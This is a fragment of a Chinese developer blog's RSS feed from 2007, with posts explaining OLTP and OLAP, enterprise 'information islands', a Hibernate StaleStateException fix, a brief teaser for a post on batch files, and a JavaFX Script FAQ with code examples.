<img src ="http://www.blogjava.net/junky/aggbug/167251.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-12-12 15:59 <a href="http://www.blogjava.net/junky/archive/2007/12/12/167251.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OLTP</title><link>http://www.blogjava.net/junky/archive/2007/11/19/161514.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 19 Nov 2007 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/11/19/161514.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/161514.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/11/19/161514.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/161514.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/161514.html</trackback:ping><description><![CDATA[on-line transaction processing<strong>联机事务处理系统(OLTP)</strong>,也称为面向交易的处理系统，其基本特征是顾客的原始数据可以立即传送到计算中心进行处理，并在很短的时间内给出处理结果。这样做的最大优点是可以即时地处理输入的数据，及时地回答。也称为实时系统(Real time System)。衡量联机事务处理系统的一个重要性能指标是系统性能，具体体现为实时响应时间(Response Time)，即用户在终端上送入数据之后，到计算机对这个请求给出答复所需要的时间。<br />
<br />
OLTP 数据库旨在使事务应用程序仅写入所需的数据，以便尽快处理单个事务。OLTP 数据库通常具有以下特征：<br />
<br />
支持大量并发用户定期添加和修改数据。 <br />
<br />
<br />
反映随时变化的单位状态，但不保存其历史记录。 <br />
<br />
<br />
包含大量数据，其中包括用于验证事务的大量数据。 <br />
<br />
<br />
具有复杂的结构。 <br />
<br />
<br />
可以进行优化以对事务活动做出响应。 <br />
<br />
<br />
提供用于支持单位日常运营的技术基础结构。<br />
<br />
<br />
个别事务能够很快地完成，并且只需访问相对较少的数据。OLTP 系统旨在处理同时输入的成百上千的事务。<br />
<br />
<br />
OLTP 系统中的数据主要被组织为支持如下事务： <br />
<br />
记录来自销售点终端或通过网站输入的订单。<br />
<br />
<br />
当库存量降到指定级别时，订购更多的货物。<br />
<br />
<br />
在制造厂中将零部件组装为成品时对零部件进行跟踪。<br />
<br />
<br />
记录雇员数据。[/title]<br />
<br />
当今的数据处理大致可以分成两大类：联机事务处理OLTP（on-line transaction processing）、联机分析处理OLAP（On-Line Analytical Processing）。OLTP是传统的关系型数据库的主要应用，主要是基本的、日常的事务处理，例如银行交易。OLAP是数据仓库系统的主要应用，支持复杂的分析操作，侧重决策支持，并且提供直观易懂的查询结果。下表列出了OLTP与OLAP之间的比较。 <br />
<br />
<br />
<table style="width: 698px; height: 789px" align="center" border="0">
    <tbody>
        <tr>
            <td valign="top" height="130">
            <table style="width: 687px; height: 738px" width="687" border="1">
                <tbody>
                    <tr>
                        <td width="22%">
                        <div align="center"></div>
                        </td>
                        <td width="41%">
                        <div align="center">OLTP</div>
                        </td>
                        <td width="37%">
                        <div align="center">OLAP</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">用户</div>
                        </td>
                        <td width="41%">
                        <div align="center">操作人员,低层管理人员</div>
                        </td>
                        <td width="37%">
                        <div align="center">决策人员,高级管理人员</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">功能</div>
                        </td>
                        <td width="41%">
                        <div align="center">日常操作处理</div>
                        </td>
                        <td width="37%">
                        <div align="center">分析决策</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">DB 设计</div>
                        </td>
                        <td width="41%">
                        <div align="center">面向应用</div>
                        </td>
                        <td width="37%">
                        <div align="center">面向主题</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">数据</div>
                        </td>
                        <td width="41%">
                        <div align="center">当前的, 最新的细节的, 二维的分立的</div>
                        </td>
                        <td width="37%">
                        <div align="center">历史的, 聚集的, 多维的集成的, 统一的</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">存取</div>
                        </td>
                        <td width="41%">
                        <div align="center">读/写数十条记录</div>
                        </td>
                        <td width="37%">
                        <div align="center">读上百万条记录</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">工作单位</div>
                        </td>
                        <td width="41%">
                        <div align="center">简单的事务</div>
                        </td>
                        <td width="37%">
                        <div align="center">复杂的查询</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">用户数</div>
                        </td>
                        <td width="41%">
                        <div align="center">上千个</div>
                        </td>
                        <td width="37%">
                        <div align="center">上百个</div>
                        </td>
                    </tr>
                    <tr>
                        <td width="22%">
                        <div align="center">DB 大小</div>
                        </td>
                        <td width="41%">
                        <div align="center">100MB-GB</div>
                        </td>
                        <td width="37%">
                        <div align="center">100GB-TB</div>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/junky/aggbug/161514.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-11-19 09:49 <a href="http://www.blogjava.net/junky/archive/2007/11/19/161514.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OLAP</title><link>http://www.blogjava.net/junky/archive/2007/11/19/161507.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 19 Nov 2007 01:34:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/11/19/161507.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/161507.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/11/19/161507.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/161507.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/161507.html</trackback:ping><description><![CDATA[OLAP：联机分析处理 <br />
<br />
OLAP：Online Analytical Processing<br />
<br />
联机分析处理（OLAP）指的是对存储在数据库或数据仓库中的数据提供分析的一种软件。OLAP 工具能快速提供复杂数据库查询的答案，并帮助用户分析多维数据中的各维情况。通常 OLAP 应用于<a href="http://baike.baidu.com/view/19711.htm" target="_blank">数据仓库</a>中的数据处理过程，即所谓的&#8220;数据挖掘&#8221;（Data Mining）。<br />
<br />
<a href="http://baike.baidu.com/view/68348.htm" target="_blank">关系数据库</a>中，是将经过规范化的实体存放在分散的表格中。该结构非常适用于操作型数据库，但该结构对于复杂的、包含多个表的查询，速度相对较慢。多维数据库是一种更好的查询模式，但其操作性能较差。<br />
<br />
OLAP 的主要组成部件是 OLAP 服务器，它位于客户机和数据库管理系统（DBMS）之间。OLAP 服务器清楚数据如何被组织成数据库，并具有关于数据分析的特定功能。例如，OLAP 软件获取关系数据库的一个映像后，重新构建一个多维数据，然后便可重新对此查询。<br />
<br />
由操作型数据创建而来的 OLAP 结构被称之为 OLAP 数据集（OLAP cube）。OLAP 数据集中可能包含每个查询的所有答复。OLAP 数据集采用的星型模式指：事实表列出关键事实，然后由中心进行查询的一种方式。大量的维度表与事实表相链接。为避免计算所有可能的数集，所以只对预先确定的数进行完全的计算，其它的作为备用。<br />
<br />
<strong>OLAP 具有三种类型：</strong><br />
<br />
多维 OLAP（MOLAP） ― MOLAP 是 OLAP 中较为&#8220;流行&#8221;的一种。它使用摘要型数据库，具有一个专用数据库引擎，并且按照需求创建包含基本数据和数据集合的多纬度模式。MOLAP 在小型数据设置方面占有一定优势，集合计算和返回答案的速度都比较快，但同时也能快速创建海量数据。 <br />
<br />
关系 OLAP（ROLAP） ― ROLAP 与关系数据库直接相关，基本数据和纬度表代表关系表，此外创建一个包含数据集合信息的新表。ROLAP 是较 MOLAP 更为高级的一种类型，优点是占有空间小，但其预处理和查询性能也是最低的。 <br />
<br />
混合 OLAP（HOLAP） ― 混合 OLAP 使用关系表表示基本数据和纬度表。在所有领域中 HOLAP 介于 MOLAP 和 ROLAP 之间，但它能提供快速预处理和良好的衡量。 <br />
<br />
实现 OLAP 的主要难点是查询构成、基本数据选择和模式开发。这使得大多数现代 OLAP 产品与大型预置查询库结合使用。另一个问题是基本数据必须完全一致。 <br />
<img src ="http://www.blogjava.net/junky/aggbug/161507.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-11-19 09:34 <a href="http://www.blogjava.net/junky/archive/2007/11/19/161507.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>信息孤岛</title><link>http://www.blogjava.net/junky/archive/2007/11/19/161501.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 19 Nov 2007 01:13:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/11/19/161501.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/161501.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/11/19/161501.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/161501.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/161501.html</trackback:ping><description><![CDATA[重硬轻软，重网络轻数据的表现。<br />
<br />
&nbsp; &nbsp; 第一，信息化发展的阶段性。不论是企业信息化，还是政务信息化，都有一个从初级阶段到中级阶段，再到高级阶段的发展过程。在计算机应用的初级阶段，人们容易从文字处理、报表打印开始使用计算机。进而围绕一项项业务工作，开发或引进一个个应用系统。这些分散开发或引进的应用系统，一般不会统一考虑数据标准或信息共享问题，追求&#8220;实用快上&#8221;的目标而导致&#8220;信息孤岛&#8221;的不断产生。&#8220;信息孤岛&#8221;的产生带有一定的必然性，这并不可怕；可怕的是总停留在初级阶段而不发展，不去解决&#8220;信息孤岛&#8221;问题，还让新的&#8220;信息孤岛&#8221;继续出现。 <br />
<br />
&nbsp; &nbsp; 第二，认识误区。长期以来，由于信息化教育的深度和广度不够，在企业和政府部门中普遍存在着&#8220;重硬轻软，重网络轻数据&#8221;的认识误区。他们在设备选型和网络构筑上肯下工夫，肯花大钱，甚至成了&#8220;追新族&#8221;，使网络设备&#8220;换了一茬又一茬&#8221;而造成很大的浪费，就是没有用心去进行信息资源的开发与利用，因而导致对&#8220;信息孤岛&#8221;问题熟视无睹，使其得以长期存在而得不到解决。<br />
<br />
<br />
<strong>所谓信息孤岛是指，在一个单位的各个部门之间由于种种原因造成部门与部门之间完全孤立，各种信息（如财务信息、各种计划信息等）无法或者无法顺畅地在部门与部门之间流动。这样就会形成信息孤岛。 <br />
举一个简单的例子，比如一个生产型企业，销售部门应该有自己的销售计划，车间则应该依据这个销售计划并结合库房的存货制订自己的生产计划，采购部门则应根据车间的生产计划和库房原材料的库存制定自己的采购计划。而在很多企业里面这个流程是不顺畅甚至是不通的，销售部门制订销售计划不考虑车间的生产能力，车间生产不考虑市场的消化能力，采购部门也不依据车间的计划而自做主张盲目采购。最后造成库房库存大量积压或者造成严重的断货事故。在这种情况下，这种企业里面的各个部门就是一个个孤立的信息孤岛。 </strong><br />
<br />
信息孤岛的必要条件：<br />
1、实施了局部信息化应用<br />
　　企业只有实施了信息化，有了一个个相当独立的信息系统－&#8220;信息岛&#8221;，才有可能出现所谓的&#8220;孤岛&#8221;。<br />
2、现有系统之间出现了不能满足的信息沟通需求<br />
　&#8220;信息岛&#8221;之间出现了不能满足的信息共享或信息沟通需求，是信息孤岛的又一个必要条件。如果&#8220;信息岛&#8221;之间没有任何信息沟通的渠道，虽然在客观上已经形成孤立的&#8220;岛屿&#8221;，但是，这些孤岛之间如果没有信息沟通的需求，也不算是信息孤岛。<br />
3、系统本身缺乏满足新的信息共享需求的能力<br />
　　现有系统之间出现了新的信息共享需求，又无法通过调整系统配置建立相互之间的沟通时、满足新的要求时，信息孤岛就出现了。 <br />
<img src ="http://www.blogjava.net/junky/aggbug/161501.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-11-19 09:13 <a href="http://www.blogjava.net/junky/archive/2007/11/19/161501.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ERROR AbstractBatcher:61 - Exception executing batch</title><link>http://www.blogjava.net/junky/archive/2007/11/07/158777.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 07 Nov 2007 03:49:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/11/07/158777.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/158777.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/11/07/158777.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/158777.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/158777.html</trackback:ping><description><![CDATA[<p>Exception happens when deleting an object.<br />
</p>
<h1>Solution </h1>
<p>
<p><span style="font-family: monospace">You tried to delete an object that was allready deleted from the database.</span></p>
<p><span style="font-family: monospace">This can happen when cascading deletes where performed somewhere and you did not reattach your object. For deleting you do not nee to reattach your object but this could prevent this problem.&nbsp;</span></p>
<br />
<p><br />
</p>
<p>
<h1>Exception Message </h1>
<p>
<pre>19:47:56,078 ERROR AbstractBatcher:61 - Exception executing batch: <br />
org.hibernate.StaleStateException: Batch update returned unexpected row count from update: 0 actual row count: 0 expected: 1<br />
at org.hibernate.jdbc.BatchingBatcher.checkRowCount(BatchingBatcher.java:93)<br />
at org.hibernate.jdbc.BatchingBatcher.checkRowCounts(BatchingBatcher.java:79)<br />
at org.hibernate.jdbc.BatchingBatcher.doExecuteBatch(BatchingBatcher.java:58)<br />
at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:195)<br />
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:230)<br />
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:145)<br />
at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:296)<br />
at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:27)<br />
at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1009)<br />
at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:356)<br />
</pre>
<img src ="http://www.blogjava.net/junky/aggbug/158777.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-11-07 11:49 <a href="http://www.blogjava.net/junky/archive/2007/11/07/158777.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是批处理?</title><link>http://www.blogjava.net/junky/archive/2007/10/10/151618.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 10 Oct 2007 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/10/10/151618.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/151618.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/10/10/151618.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/151618.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/151618.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/10/10/151618.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/151618.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-10-10 09:41 <a href="http://www.blogjava.net/junky/archive/2007/10/10/151618.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JavaFX应用问题解答</title><link>http://www.blogjava.net/junky/archive/2007/09/29/149502.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Sat, 29 Sep 2007 02:57:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/09/29/149502.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/149502.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/09/29/149502.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/149502.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/149502.html</trackback:ping><description><![CDATA[<strong><span style="font-size: 14px"><span style="color: blue"><a href="http://www.matrix.org.cn/resource/article/2007-09-24/user.shtml?userid=66080">cleverpig</a> 发表于 2007-09-24 12:30:35<br />
作者:cleverpig&nbsp;&nbsp;&nbsp;&nbsp; 来源:OpenJFX&amp;Matrix<br />
评论数:0 点击数:261&nbsp;&nbsp;&nbsp;&nbsp; 投票总得分:5 投票总人次:1<br />
关键字:JavaFX FAQ 解答 <!-- end of div title --><br />
<br />
<br />
常见问题</span></span></strong><br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX是什么？</span></span></strong><br />
<br />
&#8220;JavaFX脚本是一种声明式、静态类型编程语言。它具有一等函数（first-class functions）、声明式的语法、列表推导（list-comprehensions）及基于依赖关系的增量式求值（incremental dependency-based evaluation）等特征。&#8221;JavaFX脚本为多种多样的操作提供了声明式、无中间程序逻辑的语法，这些操作包括创建2D动画、设置属性或者声明在模式和视图对象之间的绑定依赖关系。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">什么样的函数能够称为&#8220;first-class functions&#8221;?</span></span></strong><br />
<br />
在编程语言中，我们常常把那些将函数作为一等对象的函数称为一等函数（first-class functions）。具体地说，就是编程语言支持在程序执行过程中构造新的函数，并将它们存储在数据结构中作为其它函数的参数的传入参数，并在函数返回时将它们作为函数值返回。本概念并不涵盖任何语言和程序的外部函数或者程序，例如通过调用编译器或者一个eval函数来创建新函数。<br />
这里提供一等函数的一个简单示例：map或者mapcar函数，它使用一个函数和一个列表作为参数，然后将通过将函数应用到列表中的每个成员后形成的列表作为返回值。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">&#8220;declarative syntax&#8221;是什么意思? </span></span></strong><br />
<br />
与大多数依靠程序和显式代码来更新在变量或者属性之间关系的编程语言不同，声明式语言允许数值被声明为另一种方式。<br />
在JavaFX的一个示例：<br />
<pre class="overflow">var a : Number = bind model.attrib/2;</pre>
<br />
无论何时model.attrib的数值发生改变，a的数值都将自动、透明地更新，更新期间无需调用任何程序。这对于在模式和视图对象之间绑定依赖关系、控制GUI行为是特别有用的。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">&#8220;list-comprehensions&#8221;是什么意思? </span></span></strong><br />
<br />
我们常常把&#8220;list-comprehensions&#8221;翻译为&#8220;列表推导&#8221;。列表推导是在语言级别上支持以多种方式创建、维护列表的方法。<br />
在JavaFX中的一些示例：<br />
<pre class="overflow">var nums = [1,2,3,4]; <br />
var nums2 = [1..4]; //same as above <br />
var numsGreaterThanTwo = nums[. &gt; 2]; <br />
var numsLessThanFour = select n from n in nums where n &lt; 4; </pre>
<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">什么是"incremental dependency-based evaluation"? </span></span></strong><br />
<br />
&#8220;incremental dependency-based evaluation&#8221;译为&#8220;基于依赖关系的增量式求值&#8221;。在JavaFX中，属性值能够被声明为依赖于（绑定到）包含其它属性的表达式。这样，当某个被引用的属性数值发生变化时，所有依赖此属性的属性都将直接或者间接地改变它们的数值，此过程无需调用任何的中间程序逻辑。这和在Excel之类的电子表格中使用方程式很类似。<br />
这对于那些需要动态维护模式和视图属性，而又时常需要复杂的程序逻辑的GUI开发来说非常有用。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">&#8220;操作（operation）&#8221; vs &#8220;函数（function）&#8221;</span></span></strong><br />
<br />
函数与操作之间的不同之处是函数可以递增地反复求值、可以绑定返回值、绑定参数、绑定变量/属性，隐性绑定本地变量。<br />
为了进一步说明，请看下面的JavaFX代码片段：<br />
<pre class="overflow">Class Foo (<br />
&nbsp;&nbsp; attribute zap;<br />
&nbsp;&nbsp; function bar(x) { x + zap }<br />
}<br />
var afoo = Foo { zap: 14 }<br />
var zing = 1;<br />
var snap = afoo.bar(zing);<br />
bind dyn = afoo.bar(zing);</pre>
<br />
我们非常清楚地看到：无论zing和zap如何变化，snap将不会发生变化。而dyn则会随着zing和zap的变化而改变。因为在zing和zap的数值发生变化时，发生了一个增量式的求值过程：程序将变化的数值传递给依赖其的所有函数，并重新计算数值。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX的授权模式是怎么的?</span></span></strong><br />
<br />
JavaFX的开发者很赞同让用户发布自己的应用，并坚信开源和社区的力量。但当前的JavaFX版本是在评估授权下发布的，因此并不能够被重新发布。你当然能够发布自己编写的基于JavaFX的应用，但不能够和JavaFX一起捆绑发布，并需要告之使用者：需要到openjfx项目站点下载JavaFX二进制代码库。并且，由于正处于早期的JavaFX代码还处在评估授权下，因此它不能用于商业用途。当Sun完成了JavaFX的商业化版本开发后，我相信这将会得到改变。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">Sun是否规定了发布JavaFX商业化产品的时间线?</span></span></strong><br />
<br />
很抱歉，目前没有准确的时间约定，不过马上就会制定出来。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX Runtime像JavaFX Script那样开源吗？</span></span></strong><br />
<br />
是的，JavaFX Runtime即将开放源代码。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">在JavaFX和&#8230;之间的不同</span></span></strong><br />
<br />
<strong>与F3比较：</strong>F3是Form Follows Function的缩写，这是JavaFX平台从前的名字。<br />
<br />
<strong>与Java比较：</strong>JavaFX 是一种兼容JSR-223的脚本语言。它能够使用Java类，并从Java类中被调用。<br />
<br />
<strong>与Java 6.0提供的Scriting Engine比较：</strong>Java 6.0提供的Scriting Engine为兼容JSR-223的脚本语言提供了运行平台，JavaFX可以在Java 6.0提供的Scriting Engine上执行。而JavaFX并不依赖于Java 6.0，它可以在任何兼容JSR-223的脚本引擎（比如javax.script.ScriptEngine）下执行。<br />
<br />
<strong>与SVG比较：</strong>SVG并不是一种程序语言；它是一种数据描述语言。其XML语法对于编程语言来讲是非常可怕的。但SVG的交互性、兼容性是令人满意的。目前JavaFX开发团队并没有计划直接使用SVG。由于SVG和JavaFX都源自旧的PostScript和Java2D向量图形模式，因此在某种程度上，我们已经在JavaFX中使用了SVG，但目前仍然存在某些值得注意的不兼容性。<br />
<a href="http://blogs.sun.com/chrisoliver/entry/javafx_svg_translator_preview" target="_new">Chris Oliver 已经编写了SVG-to-F3 转换程序</a>。<br />
<br />
<strong>与Swing比较：</strong>JavaFX是一种编写Swing应用的新方式，它无需了解swing框架和java语言。<br />
<br />
<strong>与JavaScript比较：</strong>在JavaFX和JavaScript之间唯一相同点就是它们都是兼容JSR-223的脚本语言。<br />
<br />
<strong>与Ajax比较：</strong>Ajax是使用了JavaScript和异步更新的web浏览器端技术。它与JavaFX的关系：两者都是UI相关的技术。但它们在语言和环境上完全不同。<br />
<br />
<strong>与Savaje OS的关系：</strong>Sun正在计划使用它们购买的Saveje手机系统和JVM来发布JavaFX Mobile，后者能在移动设备上运行JavaFX脚本，它将成为Windows Mobile、Flash Lite的有力竞争者。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">我能够使用JavaFX编写Java3D应用吗？它兼容VRML或者X3D标准、Xj3D之类的代码库吗？ </span></span></strong><br />
<br />
没有原因不能使用。JavaFX能够和任何第三方代码库互操作，并且不需要任何特殊语法。目前JavaFX开发团队正在进行开发支持Java3D的功能。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX是一种RCP(Rich Client Platform) 吗? </span></span></strong><br />
<br />
是的。JavaFX不仅能够用于RCP开发，也能够用于RIA（Rich internet Applications）开发。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">我能够在web应用中使用JavaFX吗? </span></span></strong><br />
<br />
JavaFX能够用于编写前端应用、web应用的视图或者用户接口，不过这都需要JVM的支持。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX将代替Java EE中的JSF和JSP吗? </span></span></strong><br />
<br />
不，JSF和JSP用于编写纯粹的web应用（对于支持HTML的HTTP客户端来讲是可用的），而JavaFX需要位于客户端的JVM。如果你希望编写富客户端的话，那么就需要在客户端安装JRE，JavaFX能够提供与基于Flash的Flex、基于.net的Silverlight相同的功能。常见的应用场景是开发运行在公司内网的应用。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX在运行时需要服务器吗? </span></span></strong><br />
<br />
JavaFX是一种关注GUI的脚本语言；它主要用于桌面应用，因此不需服务器。如果你计划部署JNLP（Java Web Start）的话，那么你需要一台web服务器。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">运行JavaFX需要什么条件? </span></span></strong><br />
<br />
两种条件任选其一：<br />
Java5以上、一个兼容JSR-223的实现、JavaFX代码库；<br />
Java6以上、JavaFX代码库。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">目前有JavaFX可用的编译器吗? </span></span></strong><br />
<br />
OpenFX Compiler是JavaFX编译器项目，目前已经开放源代码。<br />
详细情况请访问：<a href="https://openjfx-compiler.dev.java.net/" target="_new">https://openjfx-compiler.dev.java.net/</a><br />
<br />
<strong><span style="font-size: 14px"><span style="color: blue">开发中遇到的问题</span></span></strong><br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX中有哪些固有的数据类型? </span></span></strong><br />
<br />
JavaFX中的固有数据类型：String、Boolean、Number、Integer。<br />
<br />
JavaFX与Java类型之间的对应关系： <br />
<img style="display: inline" onclick="javascript:imgClick(this);" alt="image" src="http://static.zooomr.com/images/3349259_6456beb09f_o.jpg?r=360" onload="javascript:imgLoad(this);" border="0" resized="0" /><br />
更多信息请访问： <br />
<a href="https://openjfx.dev.java.net/JavaFX_Programming_Language.html#basic_types" target="_new">https://openjfx.dev.java.net/JavaFX_Programming_Language.html#basic_types </a><br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何连接两个字符串？&#8220;+&#8221;操作符已经不起作用了！？</span></span></strong><br />
<br />
与Java有所不同，JavaFX并没有重载&#8220;+&#8221;操作符来使其用于字符串连接：<br />
<pre class="overflow">import javafx.ui.*;<br />
import javafx.ui.canvas.*;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
Frame {<br />
&nbsp;&nbsp;&nbsp;&nbsp;content: Label {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text: "Hello " + "World"<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;visible: true<br />
}<br />
</pre>
<br />
如果尝试运行上面的代码，我们将看到以下的控制台输出：<br />
<pre class="overflow">compile thread: Thread[AWT-EventQueue-0,6,main]<br />
compile 2.031<br />
file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected Number, found String in "Hello "<br />
file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected Number, found String in "World"<br />
file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected String, found Number in text: "Hello " + "World"<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">实现方式之一：修改代码</span></span></strong><br />
<br />
Java实现方法：<br />
<pre class="overflow">String s = "Your score is " + n + " out of " + total + ".";</pre>
<br />
JavaFX的字符串表达式操作符{}实现连接字符串的功能： <br />
<pre class="overflow">var s:String = "Your score is {n} out of {total}.";</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">实现方式之二：调用concat()方法</span></span></strong><br />
<br />
JavaFX提供了concat()方法来连接两个字符串：<br />
<pre class="overflow">import javafx.ui.*;<br />
import javafx.ui.canvas.*;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
Frame {<br />
&nbsp;&nbsp;&nbsp;&nbsp;content: Label {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text: "Hello ".concat("World")<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;visible: true<br />
}<br />
</pre>
<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何将字符串转换为数字? </span></span></strong><br />
<br />
目前没有直接的方式，但可以使用下面的代码：<br />
<pre class="overflow">var value = new DecimalFormat("0").parse(someString);</pre>
<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何将TextField的数值绑定到一个数字类型属性? </span></span></strong><br />
<br />
使用绑定:：<br />
<pre class="overflow">var total = 10<br />
TextField {<br />
&nbsp;&nbsp; value: bind total<br />
&nbsp;&nbsp; ...<br />
}</pre>
<br />
也可以使用format进行格式化：<br />
<pre class="overflow">value: bind "{total format as &lt;&lt;#,##0&gt;&gt;}"</pre>
<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何设置用在Java Web Start上的JavaFX? </span></span></strong><br />
<br />
JNLP (Java Network Launch Protocol)是一种基于XML的协议，它能够在网络上部署Java和JavaFX应用。<br />
这里提供一个用于部署JavaFXPad的JNLP示例。<br />
